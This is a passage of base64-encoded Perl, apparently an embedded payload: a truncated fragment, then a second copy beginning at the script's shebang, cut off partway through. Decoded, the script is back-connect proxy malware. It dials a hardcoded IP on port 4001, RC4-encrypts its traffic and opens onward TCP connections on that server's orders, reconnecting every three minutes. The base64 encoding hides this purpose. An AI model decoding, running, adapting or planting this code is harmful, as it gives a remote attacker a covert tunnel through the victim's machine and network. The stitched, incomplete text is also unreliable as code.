jMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA